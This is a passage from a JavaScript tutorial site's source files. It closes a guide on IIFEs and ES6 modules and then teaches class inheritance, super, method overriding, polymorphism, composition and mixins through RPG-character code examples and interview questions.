dependencies occur when module A imports from module B, and module B imports from module A. Problems: - **Loading issues:** When A loads, it needs B. But B needs A, which isn't fully loaded yet. - **Undefined values:** You might get `undefined` for imports that should have values. - **Confusing bugs:** Hard to track down because the error isn't where the bug is. Solution: Create a third module for shared code, or restructure your code to break the cycle. </Accordion> <Accordion title="Question 6: When would you still use an IIFE today?"> **Answer:** Even with ES6 modules, IIFEs are useful for: 1. **Async initialization:** ```javascript (async () => { const data = await fetchData(); init(data); })(); ``` 2. **One-time calculations:** ```javascript const config = (() => { // Complex setup that runs once return computedConfig; })(); ``` 3. **Scripts without modules:** When you're adding a `<script>` tag without `type="module"`, IIFEs prevent polluting globals. 4. **Creating private scope in non-module code.** </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is an IIFE in JavaScript?"> An IIFE (Immediately Invoked Function Expression) is a function that runs as soon as it is defined. It creates a private scope that prevents variables from leaking into the global namespace. As documented on MDN, the pattern wraps a function in parentheses to make it an expression, then immediately invokes it with `()`. </Accordion> <Accordion title="Why were IIFEs used before ES6 modules?"> Before ES6 introduced native modules in 2015, JavaScript had no built-in way to create private scope at the file level. IIFEs provided encapsulation by leveraging function scope and closures. Libraries like jQuery and Lodash used the IIFE pattern extensively to avoid polluting the global namespace. </Accordion> <Accordion title="What is the difference between IIFEs and ES6 modules?"> ES6 modules provide file-level scope automatically — every file is its own module with private variables. IIFEs achieve the same result manually using function scope. According to the 2023 State of JS survey, ES modules are now used by over 80% of JavaScript developers, making IIFEs largely unnecessary for new code. However, IIFEs remain useful for one-time initialization and inline scripts. </Accordion> <Accordion title="What is a namespace in JavaScript?"> A namespace is an object that groups related variables and functions under a single global name to avoid naming conflicts. Before modules, developers used patterns like `var MyApp = MyApp || {}` to organize code. The namespace pattern reduced global pollution but did not provide true privacy, which is why the module pattern and later ES6 modules became preferred. </Accordion> <Accordion title="Are IIFEs still useful in modern JavaScript?"> Yes, in specific cases. IIFEs are still valuable for async initialization (`(async () => { ... })()`), one-time configuration, and scripts loaded without `type="module"`. They also appear frequently in build tool output and legacy codebases, so understanding them remains important for professional JavaScript development. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> Understanding how JavaScript manages variable access and function memory </Card> <Card title="Higher-Order Functions" icon="function" href="/concepts/higher-order-functions"> Functions that work with other functions — common in modular code </Card> <Card title="Design Patterns" icon="compass" href="/concepts/design-patterns"> Common patterns for organizing code, including the module pattern </Card> <Card title="Call Stack" icon="bars-staggered" href="/concepts/call-stack"> How JavaScript tracks function execution and manages memory </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="IIFE — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE"> Official MDN documentation on Immediately Invoked Function Expressions </Card> <Card title="JavaScript Modules — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules"> Complete guide to ES6 modules </Card> <Card title="Expression Statement — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/Expression_statement"> MDN documentation on expression statements </Card> <Card title="Namespace — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Namespace"> MDN documentation on namespaces </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Mastering Immediately-Invoked Function Expressions" icon="newspaper" href="https://medium.com/@vvkchandra/essential-javascript-mastering-immediately-invoked-function-expressions-67791338ddc6"> Covers the classical and Crockford IIFE variations with clear syntax breakdowns. Great for understanding why the parentheses are placed where they are. </Card> <Card title="JavaScript Modules: A Beginner's Guide" icon="newspaper" href="https://medium.freecodecamp.org/javascript-modules-a-beginner-s-guide-783f7d7a5fcc"> Traces the evolution from global scripts to CommonJS to ES6 modules with code examples at each stage. Perfect if you're wondering why we have so many module formats. </Card> <Card title="A 10 minute primer to JavaScript modules" icon="newspaper" href="https://www.jvandemo.com/a-10-minute-primer-to-javascript-modules-module-formats-module-loaders-and-module-bundlers/"> Explains the difference between module formats (AMD, CommonJS, ES6), loaders (RequireJS, SystemJS), and bundlers (Webpack, Rollup). Clears up the confusing terminology quickly. </Card> <Card title="ES6 Modules in Depth" icon="newspaper" href="https://ponyfoo.com/articles/es6-modules-in-depth"> Nicolás Bevacqua's thorough exploration of edge cases like circular dependencies and live bindings. Read this after you understand the basics. </Card> <Card title="JavaScript modules — V8" icon="newspaper" href="https://v8.dev/features/modules"> The V8 team's comprehensive guide covering native module loading, performance recommendations, and future developments. Includes practical tips on bundling vs unbundled deployment. </Card> <Card title="Modules — javascript.info" icon="newspaper" href="https://javascript.info/modules-intro"> Interactive tutorial walking through module basics with live code examples. Covers both browser and Node.js usage patterns with clear, beginner-friendly explanations. </Card> <Card title="All you need to know about Expressions, Statements and Expression Statements" icon="newspaper" href="https://dev.to/promhize/javascript-in-depth-all-you-need-to-know-about-expressions-statements-and-expression-statements-5k2"> Explains why `function(){}()` fails but `(function(){})()` works. The expression vs statement distinction finally makes sense after reading this. </Card> <Card title="Function Expressions — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function"> MDN's official reference on function expressions, covering syntax, hoisting behavior differences from declarations, and named function expressions. Includes interactive examples. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Immediately Invoked Function Expression — Beau teaches JavaScript" icon="video" href="https://www.youtube.com/watch?v=3cbiZV4H22c"> Short and focused 4-minute explanation perfect for quick learning. Part of freeCodeCamp's beginner-friendly JavaScript series. </Card> <Card title="JavaScript Modules: ES6 Import and Export" icon="video" href="https://www.youtube.com/watch?v=_3oSWwapPKQ"> Kyle from Web Dev Simplified builds a project step-by-step showing named exports, default exports, and barrel files. Great for seeing modules in action. </Card> <Card title="JavaScript IIFE — Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=Xd7zgPFwVX8"> Demonstrates the Module Pattern with private variables and public methods. Shows exactly how closures make IIFEs powerful. </Card> <Card title="ES6 Modules in the Real World" icon="video" href="https://www.youtube.com/watch?v=fIP4pjAqCtQ"> Conference talk on practical module usage in production applications. </Card> <Card title="Expressions vs. Statements in JavaScript" icon="video" href="https://www.youtube.com/watch?v=WVyCrI1cHi8"> Uses simple examples to show why expressions produce values and statements perform actions. Essential for understanding IIFE syntax. </Card> <Card title="JavaScript Functions — Programming with Mosh" icon="video" href="https://www.youtube.com/watch?v=N8ap4k_1QEQ"> Comprehensive overview of JavaScript functions covering declarations, expressions, hoisting, and scope. Clear explanations with practical examples. </Card> </CardGroup> ================================================ FILE: docs/concepts/inheritance-polymorphism.mdx ================================================ --- title: "Inheritance & Polymorphism" sidebarTitle: "Inheritance & Polymorphism: OOP Principles" description: "Learn inheritance and polymorphism in JavaScript. Extend classes, use prototype chains, override methods, and master OOP patterns." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Object-Oriented JavaScript" "article:tag": "javascript inheritance, polymorphism, class extension, method overriding, OOP patterns" --- How do game developers create hundreds of character types without copy-pasting the same code over and over? How can a Warrior, Mage, and Archer all "attack" differently but be treated the same way in battle? ```javascript // One base class, infinite possibilities class Character { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } class Warrior extends Character { attack() { return `${this.name} swings a mighty sword!` } } class Mage extends Character { attack() { return `${this.name} casts a fireball!` } } const hero = new Warrior("Aragorn") const wizard = new Mage("Gandalf") console.log(hero.attack()) // "Aragorn swings a mighty sword!" console.log(wizard.attack()) // "Gandalf casts a fireball!" ``` The answer lies in two powerful OOP principles: **[inheritance](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Classes_in_JavaScript#inheritance)** lets classes share code by extending other classes, and **polymorphism** lets different objects respond to the same method call in their own unique way. These concepts, formalized in the ECMAScript 2015 specification through the `class` and `extends` keywords, brought familiar OOP patterns to JavaScript's prototype-based model. <Info> **What you'll learn in this guide:** - How inheritance lets child classes reuse parent class code - Using the `extends` keyword to create class hierarchies - The `super` keyword for calling parent constructors and methods - Method overriding for specialized behavior - Polymorphism: treating different object types through a common interface - When to use composition instead of inheritance (the Gorilla-Banana problem) - Mixins for sharing behavior across unrelated classes </Info> <Warning> **Prerequisites:** This guide assumes you understand [Factories & Classes](/concepts/factories-classes) and [Object Creation & Prototypes](/concepts/object-creation-prototypes). If you're not comfortable with creating classes in JavaScript, read those guides first! </Warning> --- ## What is Inheritance? **Inheritance** is a mechanism where a class (called a **child** or **subclass**) can inherit properties and methods from another class (called a **parent** or **superclass**). Instead of rewriting common functionality, the child class automatically gets everything the parent has — and can add or customize as needed. Think of it as the "IS-A" relationship: - A **Warrior IS-A Character** — so it inherits all Character traits - A **Mage IS-A Character** — same base, different specialization - An **Archer IS-A Character** — you get the pattern ```javascript // The parent class — all characters share these basics class Character { constructor(name, health = 100) { this.name = name this.health = health } introduce() { return `I am ${this.name} with ${this.health} HP` } attack() { return `${this.name} attacks!` } takeDamage(amount) { this.health -= amount return `${this.name} takes ${amount} damage! (${this.health} HP left)` } } // The child class — gets everything from Character automatically class Warrior extends Character { constructor(name) { super(name, 150) // Warriors have more health! this.rage = 0 } // New method only Warriors have battleCry() { this.rage += 10 return `${this.name} roars with fury! Rage: ${this.rage}` } } const conan = new Warrior("Conan") console.log(conan.introduce()) // "I am Conan with 150 HP" (inherited!) console.log(conan.battleCry()) // "Conan roars with fury! Rage: 10" (new!) console.log(conan.attack()) // "Conan attacks!" (inherited!) ``` <Tip> **The DRY Principle:** Inheritance helps you "Don't Repeat Yourself". Write common code once in the parent class, and all children automatically benefit — including bug fixes and improvements! As the Gang of Four noted in *Design Patterns*, favoring composition over deep inheritance hierarchies often leads to more maintainable code. </Tip> --- ## The Game Character Analogy Imagine you're building an RPG game. Every character — whether player or enemy — shares basic traits: a name, health points, the ability to attack and take damage. But each character *type* has unique abilities. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GAME CHARACTER HIERARCHY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────┐ │ │ │ Character │ ← Parent (base class) │ │ │ ───────── │ │ │ │ name │ │ │ │ health │ │ │ │ attack() │ │ │ │ takeDamage() │ │ │ └───────┬───────┘ │ │ │ │ │ ┌────────────────────┼────────────────────┐ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Warrior │ │ Mage │ │ Archer │ │ │ │ ─────── │ │ ────── │ │ ────── │ │ │ │ rage │ │ mana │ │ arrows │ │ │ │ battleCry()│ │ castSpell()│ │ aim() │ │ │ │ attack() ⚔ │ │ attack() ✨│ │ attack() 🏹│ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ Each child INHERITS from Character but OVERRIDES attack() │ │ to provide specialized behavior — that's POLYMORPHISM! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Without inheritance, you'd copy-paste `name`, `health`, `takeDamage()` into every character class. With inheritance, you write it once and *extend* it: ```javascript class Warrior extends Character { /* ... */ } class Mage extends Character { /* ... */ } class Archer extends Character { /* ... */ } ``` Each child class automatically has everything `Character` has, plus their own unique additions. --- ## Class Inheritance with `extends` The **[`extends`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends)** keyword creates a class that is a child of another class. The syntax is straightforward: ```javascript class ChildClass extends ParentClass { // Child-specific code here } ``` <Steps> <Step title="Define the Parent Class"> Create the base class with shared properties and methods: ```javascript class Character { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } ``` </Step> <Step title="Create a Child Class with extends"> Use `extends` to inherit from the parent: ```javascript class Mage extends Character { constructor(name) { super(name) // Call parent constructor FIRST this.mana = 100 // Then add child-specific properties } castSpell(spell) { this.mana -= 10 return `${this.name} casts ${spell}!` } } ``` </Step> <Step title="Use the Child Class"> Instances have both parent AND child capabilities: ```javascript const gandalf = new Mage("Gandalf") // Inherited from Character console.log(gandalf.name) // "Gandalf" console.log(gandalf.health) // 100 console.log(gandalf.attack()) // "Gandalf attacks!" // Unique to Mage console.log(gandalf.mana) // 100 console.log(gandalf.castSpell("Fireball")) // "Gandalf casts Fireball!" ``` </Step> </Steps> ### What the Child Automatically Gets When you use `extends`, the child class inherits: | Inherited | Example | |-----------|---------| | Instance properties | `this.name`, `this.health` | | Instance methods | `attack()`, `takeDamage()` | | Static methods | `Character.createRandom()` (if defined) | | Getters/Setters | `get isAlive()`, `set health(val)` | ```javascript class Character { constructor(name) { this.name = name this.health = 100 } get isAlive() { return this.health > 0 } static createRandom() { const names = ["Hero", "Villain", "Sidekick"] return new this(names[Math.floor(Math.random() * names.length)]) } } class Warrior extends Character { constructor(name) { super(name) this.rage = 0 } } // Child inherits the static method! const randomWarrior = Warrior.createRandom() console.log(randomWarrior.name) // Random name console.log(randomWarrior.isAlive) // true (inherited getter) console.log(randomWarrior.rage) // 0 (Warrior-specific) ``` --- ## The `super` Keyword The **[`super`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super)** keyword is your lifeline when working with inheritance. It has two main uses: ### 1. `super()` — Calling the Parent Constructor When a child class has a constructor, it **must** call `super()` before using `this`. This runs the parent's constructor to set up inherited properties. ```javascript class Character { constructor(name, health) { this.name = name this.health = health } } class Warrior extends Character { constructor(name) { // MUST call super() first! super(name, 150) // Pass arguments to parent constructor // Now we can use 'this' this.rage = 0 this.weapon = "Sword" } } const warrior = new Warrior("Conan") console.log(warrior.name) // "Conan" (set by parent) console.log(warrior.health) // 150 (passed to parent) console.log(warrior.rage) // 0 (set by child) ``` <Warning> **Critical Rule:** You MUST call `super()` before accessing `this` in a child constructor. If you don't, JavaScript throws a `ReferenceError`: ```javascript class Warrior extends Character { constructor(name) { this.rage = 0 // ❌ ReferenceError: Must call super constructor first! super(name) } } ``` </Warning> ### 2. `super.method()` — Calling Parent Methods Use `super.methodName()` to call the parent's version of an overridden method. This is perfect when you want to *extend* behavior rather than *replace* it: ```javascript class Character { constructor(name, health = 100) { this.name = name this.health = health } attack() { return `${this.name} attacks` } describe() { return `${this.name} (${this.health} HP)` } } class Warrior extends Character { constructor(name) { super(name, 150) // Pass name and custom health to parent this.weapon = "Sword" } attack() { // Call parent's attack, then add to it const baseAttack = super.attack() return `${baseAttack} with a ${this.weapon}!` } describe() { // Extend parent's description return `${super.describe()} - Warrior Class` } } const hero = new Warrior("Aragorn") console.log(hero.attack()) // "Aragorn attacks with a Sword!" console.log(hero.describe()) // "Aragorn (150 HP) - Warrior Class" ``` <Tip> **Pattern: Extend, Don't Replace.** When overriding methods, consider calling `super.method()` first to preserve parent behavior, then add child-specific logic. This keeps your code DRY and ensures parent functionality isn't accidentally lost. </Tip> --- ## Method Overriding **Method overriding** occurs when a child class defines a method with the same name as one in its parent class. The child's version "shadows" the parent's version — when you call that method on a child instance, the child's implementation runs. ```javascript class Character { attack() { return `${this.name} attacks!` } } class Warrior extends Character { attack() { return `${this.name} swings a mighty sword for 25 damage!` } } class Mage extends Character { attack() { return `${this.name} hurls a fireball for 30 damage!` } } class Archer extends Character { attack() { return `${this.name} fires an arrow for 20 damage!` } } // Each class has the SAME method name, but DIFFERENT behavior const warrior = new Warrior("Conan") const mage = new Mage("Gandalf") const archer = new Archer("Legolas") console.log(warrior.attack()) // "Conan swings a mighty sword for 25 damage!" console.log(mage.attack()) // "Gandalf hurls a fireball for 30 damage!" console.log(archer.attack()) // "Legolas fires an arrow for 20 damage!" ``` ### Why Override Methods? | Reason | Example | |--------|---------| | **Specialization** | Each character type attacks differently | | **Extension** | Add logging before calling `super.method()` | | **Customization** | Change default values or behavior | | **Performance** | Optimize for specific use case | ### Extending vs Replacing You have two choices when overriding: <Tabs> <Tab title="Replace Completely"> ```javascript class Warrior extends Character { // Completely new implementation attack() { this.rage += 5 const damage = 20 + this.rage return `${this.name} rages and deals ${damage} damage!` } } ``` </Tab> <Tab title="Extend Parent"> ```javascript class Warrior extends Character { // Build on parent's behavior attack() { const base = super.attack() // "Conan attacks!" this.rage += 5 return `${base} Rage builds to ${this.rage}!` } } ``` </Tab> </Tabs> --- ## What is Polymorphism? **Polymorphism** (from Greek: "many forms") means that objects of different types can be treated through a common interface. In JavaScript, this primarily manifests as **subtype polymorphism**: child class instances can be used wherever a parent class instance is expected. The magic happens when you call the same method on different objects, and each responds in its own way: ```javascript class Character { constructor(name) { this.name = name this.health = 100 } attack() { return `${this.name} attacks!` } } class Warrior extends Character { attack() { return `${this.name} swings a sword!` } } class Mage extends Character { attack() { return `${this.name} casts a spell!` } } class Archer extends Character { attack() { return `${this.name} shoots an arrow!` } } // THE POLYMORPHISM POWER MOVE // This function works with ANY Character type! function executeBattle(characters) { console.log("⚔️ Battle begins!") characters.forEach(char => { // Each character attacks in their OWN way console.log(char.attack()) }) } // Mix of different types — polymorphism in action! const party = [ new Warrior("Conan"), new Mage("Gandalf"), new Archer("Legolas"), new Character("Villager") // Even the base class works! ] executeBattle(party) // ⚔️ Battle begins! // "Conan swings a sword!" // "Gandalf casts a spell!" // "Legolas shoots an arrow!" // "Villager attacks!" ``` ### Why Polymorphism is Powerful ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ POLYMORPHISM: WRITE ONCE, USE MANY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WITHOUT Polymorphism WITH Polymorphism │ │ ───────────────────── ───────────────── │ │ │ │ function battle(char) { function battle(char) { │ │ if (char instanceof Warrior) { char.attack() // That's it! │ │ char.swingSword() } │ │ } else if (char instanceof // Works with Warrior, Mage, │ │ Mage) { // Archer, and ANY future type! │ │ char.castSpell() │ │ } else if (char instanceof │ │ Archer) { │ │ char.shootArrow() │ │ } │ │ // Need to add code for │ │ // every new character type! │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | Benefit | Explanation | |---------|-------------| | **Open for Extension** | Add new character types without changing battle logic | | **Loose Coupling** | `executeBattle` doesn't need to know about specific types | | **Cleaner Code** | No endless `if/else` or `switch` statements | | **Easier Testing** | Test with mock objects that share the interface | ### The `instanceof` Operator Use **[`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof)** to check if an object is an instance of a class (or its parents): ```javascript const warrior = new Warrior("Conan") console.log(warrior instanceof Warrior) // true (direct) console.log(warrior instanceof Character) // true (parent) console.log(warrior instanceof Object) // true (all objects) console.log(warrior instanceof Mage) // false (different branch) ``` --- ## Under the Hood: Prototypes Here's a secret: ES6 `class` and `extends` are **syntactic sugar** over JavaScript's prototype-based inheritance. When you write `class Warrior extends Character`, JavaScript is really setting up a prototype chain behind the scenes. ```javascript // What you write (ES6 class syntax) class Character { constructor(name) { this.name = name } attack() { return `${this.name} attacks!` } } // Note: In this example, Warrior does NOT override attack() // This lets us see how the prototype chain lookup works class Warrior extends Character { constructor(name) { super(name) this.rage = 0 } // Warrior-specific method (not on Character) battleCry() { return `${this.name} roars!` } } // What JavaScript actually creates (simplified) // Warrior.prototype.__proto__ === Character.prototype ``` When you call `warrior.attack()`, JavaScript walks up the prototype chain: 1. Looks for `attack` on the `warrior` instance itself — not found 2. Looks on `Warrior.prototype` — not found (Warrior didn't override it) 3. Follows the chain to `Character.prototype` — **found!** Executes it This is why inheritance "just works" — methods defined on parent classes are automatically available to child instances through the prototype chain. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROTOTYPE CHAIN │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ warrior (instance) │ │ ┌─────────────────┐ │ │ │ name: "Conan" │ │ │ │ rage: 0 │ │ │ │ [[Prototype]] ──┼──┐ │ │ └─────────────────┘ │ │ │ ▼ │ │ Warrior.prototype ┌─────────────────┐ │ │ │ battleCry() │ │ │ │ constructor │ │ │ │ [[Prototype]] ──┼──┐ │ │ └─────────────────┘ │ │ │ ▼ │ │ Character.prototype ┌─────────────────┐ │ │ │ attack() │ ← Found here! │ │ │ constructor │ │ │ │ [[Prototype]] ──┼──► Object.prototype │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> **Rule of Thumb:** Use ES6 `class` syntax for cleaner, more readable code. Understand prototypes for debugging and advanced patterns. For a deep dive, see our [Object Creation & Prototypes](/concepts/object-creation-prototypes) guide. </Tip> --- ## Composition vs Inheritance Inheritance is powerful, but it's not always the right tool. There's a famous saying in programming: > "You wanted a banana but got a gorilla holding the banana and the entire jungle." This is the **Gorilla-Banana Problem** — when you inherit from a class, you inherit *everything*, even the stuff you don't need. ### When Inheritance Goes Wrong ```javascript // Inheritance nightmare — deep, rigid hierarchy class Animal { } class Mammal extends Animal { } class WingedMammal extends Mammal { } class Bat extends WingedMammal { } // Oh no! Now we need a FlyingFish... // Fish aren't mammals! Do we create another branch? // What about a Penguin (bird that can't fly)? // The hierarchy becomes fragile and hard to change ``` ### The "IS-A" vs "HAS-A" Test | Question | If Yes... | Example | |----------|-----------|---------| | Is a Warrior **a type of** Character? | Use inheritance | `class Warrior extends Character` | | Does a Character **have** inventory? | Use composition | `this.inventory = new Inventory()` | ### Composition: Building with "HAS-A" Instead of inheriting behavior, you **compose** objects from smaller, reusable pieces: <Tabs> <Tab title="Inheritance Approach"> ```javascript // Rigid hierarchy — what if we need a flying warrior? class Character { } class FlyingCharacter extends Character { fly() { return `${this.name} flies!` } } class MagicCharacter extends Character { castSpell() { return `${this.name} casts!` } } // Can't have a character that BOTH flies AND casts! ``` </Tab> <Tab title="Composition Approach"> ```javascript // Flexible behaviors — mix and match! const canFly = (state) => ({ fly() { return `${state.name} soars through the sky!` } }) const canCast = (state) => ({ castSpell(spell) { return `${state.name} casts ${spell}!` } }) const canFight = (state) => ({ attack() { return `${state.name} attacks!` } }) // Create a flying mage — compose the behaviors you need! function createFlyingMage(name) { const state = { name, health: 100, mana: 50 } return { ...state, ...canFly(state), ...canCast(state), ...canFight(state) } } const merlin = createFlyingMage("Merlin") console.log(merlin.fly()) // "Merlin soars through the sky!" console.log(merlin.castSpell("Ice")) // "Merlin casts Ice!" console.log(merlin.attack()) // "Merlin attacks!" ``` </Tab> </Tabs> ### When to Use Each ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ INHERITANCE vs COMPOSITION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Use INHERITANCE when: Use COMPOSITION when: │ │ ───────────────────── ──────────────────── │ │ │ │ • Clear "IS-A" relationship • "HAS-A" relationship │ │ (Warrior IS-A Character) (Character HAS inventory) │ │ │ │ • Child uses MOST of parent's • Only need SOME behaviors │ │ functionality │ │ │ │ • Hierarchy is shallow • Behaviors need to be mixed │ │ (2-3 levels max) freely │ │ │ │ • Relationships are stable • Requirements change frequently │ │ and unlikely to change │ │ │ │ • You control the parent class • Inheriting from 3rd party code │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **The Rule of Thumb:** "Favor composition over inheritance." Start with composition. Only use inheritance when you have a clear, stable "IS-A" relationship and the child truly needs most of the parent's behavior. </Warning> --- ## Mixins: Sharing Behavior Without Inheritance **Mixins** provide a way to add functionality to classes without using inheritance. They're like a toolkit of behaviors you can "mix in" to any class. ### Basic Mixin Pattern ```javascript // Define behaviors as objects const Swimmer = { swim() { return `${this.name} swims through the water!` } } const Flyer = { fly() { return `${this.name} soars through the sky!` } } const Walker = { walk() { return `${this.name} walks on land!` } } // A base class class Animal { constructor(name) { this.name = name } } // Mix behaviors into classes as needed class Duck extends Animal { } Object.assign(Duck.prototype, Swimmer, Flyer, Walker) class Fish extends Animal { } Object.assign(Fish.prototype, Swimmer) class Eagle extends Animal { } Object.assign(Eagle.prototype, Flyer, Walker) // Use them! const donald = new Duck("Donald") console.log(donald.swim()) // "Donald swims through the water!" console.log(donald.fly()) // "Donald soars through the sky!" console.log(donald.walk()) // "Donald walks on land!" const nemo = new Fish("Nemo") console.log(nemo.swim()) // "Nemo swims through the water!" // nemo.fly() // ❌ Error: fly is not a function ``` ### Functional Mixin Pattern A cleaner approach uses functions that take a class and return an enhanced class: ```javascript // Mixins as functions that enhance classes const withLogging = (Base) => class extends Base { log(message) { console.log(`[${this.name}]: ${message}`) } } const withTimestamp = (Base) => class extends Base { getTimestamp() { return new Date().toISOString() } } // Apply mixins by wrapping the class class Character { constructor(name) { this.name = name } } // Stack multiple mixins! class LoggedCharacter extends withTimestamp(withLogging(Character)) { doAction() { this.log(`Action performed at ${this.getTimestamp()}`) } } const hero = new LoggedCharacter("Aragorn") hero.doAction() // "[Aragorn]: Action performed at 2024-01-15T..." ``` ### When to Use Mixins | Use Case | Example | |----------|---------| | Cross-cutting concerns | Logging, serialization, event handling | | Multiple behaviors needed | A class that needs swimming AND flying | | Third-party class extension | Adding methods to classes you don't control | | Avoiding deep hierarchies | Instead of `FlyingSwimmingWalkingAnimal` | <Warning> **Mixin Gotchas:** - **Name collisions**: If two mixins define the same method, one overwrites the other - **"this" confusion**: Mixins must work with whatever `this` they're mixed into - **Hidden dependencies**: Mixins might expect certain properties to exist - **Debugging difficulty**: Hard to trace where methods come from </Warning> --- ## Common Mistakes ### 1. Forgetting to Call `super()` in Constructor ```javascript // ❌ WRONG — ReferenceError! class Warrior extends Character { constructor(name) { this.rage = 0 // Error: must call super first! super(name) } } // ✓ CORRECT — super() first, always class Warrior extends Character { constructor(name) { super(name) // FIRST! this.rage = 0 // Now this is safe } } ``` ### 2. Using `this` Before `super()` ```javascript // ❌ WRONG — Can't use 'this' until super() is called class Mage extends Character { constructor(name, mana) { this.mana = mana // ReferenceError! super(name) } } // ✓ CORRECT class Mage extends Character { constructor(name, mana) { super(name) this.mana = mana // Works now! } } ``` ### 3. Deep Inheritance Hierarchies ```javascript // ❌ BAD — Too deep, too fragile class Entity { } class LivingEntity extends Entity { } class Animal extends LivingEntity { } class Mammal extends Animal { } class Canine extends Mammal { } class Dog extends Canine { } class Labrador extends Dog { } // 7 levels deep! 😱 // ✓ BETTER — Keep it shallow, use composition class Dog { constructor(breed) { this.breed = breed this.behaviors = { ...canWalk, ...canBark, ...canFetch } } } ``` ### 4. Inheriting Just for Code Reuse ```javascript // ❌ WRONG — Stack is NOT an Array (violates IS-A) class Stack extends Array { peek() { return this[this.length - 1] } } const stack = new Stack() stack.push(1, 2, 3) stack.shift() // 😱 Stacks shouldn't allow this! // ✓ CORRECT — Stack HAS-A array (composition) class Stack { #items = [] push(item) { this.#items.push(item) } pop() { return this.#items.pop() } peek() { return this.#items[this.#items.length - 1] } } ``` ### Inheritance Decision Flowchart ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ SHOULD I USE INHERITANCE? │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Is it an "IS-A" relationship? │ │ (A Warrior IS-A Character?) │ │ │ │ │ YES │ NO │ │ │ └──────► Use COMPOSITION ("HAS-A") │ │ ▼ │ │ Will child use MOST of parent's methods? │ │ │ │ │ YES │ NO │ │ │ └──────► Use COMPOSITION or MIXINS │ │ ▼ │ │ Is hierarchy shallow (≤3 levels)? │ │ │ │ │ YES │ NO │ │ │ └──────► REFACTOR! Flatten with composition │ │ ▼ │ │ Use INHERITANCE ✓ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Classic Interview Questions <AccordionGroup> <Accordion title="What's the difference between inheritance and composition?"> **Inheritance** establishes an "IS-A" relationship where a child class inherits all properties and methods from a parent class. It creates a tight coupling between classes. **Composition** establishes a "HAS-A" relationship where a class contains instances of other classes to reuse their functionality. It provides more flexibility and loose coupling. ```javascript // Inheritance: Warrior IS-A Character class Warrior extends Character { } // Composition: Character HAS-A weapon class Character { constructor() { this.weapon = new Sword() // HAS-A } } ``` **Rule of thumb:** Favor composition for flexibility, use inheritance for true type hierarchies. </Accordion> <Accordion title="Explain polymorphism with an example"> **Polymorphism** means "many forms" — the ability for different objects to respond to the same method call in different ways. ```javascript class Shape { area() { return 0 } } class Rectangle extends Shape { constructor(w, h) { super(); this.w = w; this.h = h } area() { return this.w * this.h } } class Circle extends Shape { constructor(r) { super(); this.r = r } area() { return Math.PI * this.r ** 2 } } // Polymorphism in action — same method, different results const shapes = [new Rectangle(4, 5), new Circle(3)] shapes.forEach(s => console.log(s.area())) // 20 // 28.274... ``` The `area()` method works differently based on the actual object type, but we can treat all shapes uniformly. </Accordion> <Accordion title="What does the 'super' keyword do in JavaScript?"> `super` has two main uses: 1. **`super()`** — Calls the parent class constructor (required in child constructors before using `this`) 2. **`super.method()`** — Calls a method from the parent class ```javascript class Parent { constructor(name) { this.name = name } greet() { return `Hello, I'm ${this.name}` } } class Child extends Parent { constructor(name, age) { super(name) // Call parent constructor this.age = age } greet() { return `${super.greet()} and I'm ${this.age}` // Call parent method } } ``` </Accordion> <Accordion title="Why might deep inheritance hierarchies be problematic?"> Deep hierarchies (more than 3 levels) create several problems: 1. **Fragile Base Class Problem**: Changes to a parent class can break many descendants 2. **Tight Coupling**: Child classes become dependent on implementation details 3. **Inflexibility**: Hard to reuse code outside the hierarchy 4. **Complexity**: Difficult to understand and debug method resolution 5. **The Gorilla-Banana Problem**: You inherit everything, even what you don't need **Solution:** Keep hierarchies shallow (2-3 levels max) and prefer composition for sharing behavior. </Accordion> <Accordion title="How does JavaScript inheritance differ from classical OOP languages?"> JavaScript uses **prototype-based inheritance** rather than class-based: | Classical OOP (Java, C++) | JavaScript | |---------------------------|------------| | Classes are blueprints | "Classes" are functions with prototypes | | Objects are instances of classes | Objects inherit from other objects | | Static class hierarchy | Dynamic prototype chain | | Multiple inheritance via interfaces | Single prototype chain (use mixins for multiple) | ES6 `class` syntax is syntactic sugar — under the hood, it's still prototypes: ```javascript class Dog extends Animal { } // Is equivalent to setting up: // Dog.prototype.__proto__ === Animal.prototype ``` </Accordion> </AccordionGroup> --- ## 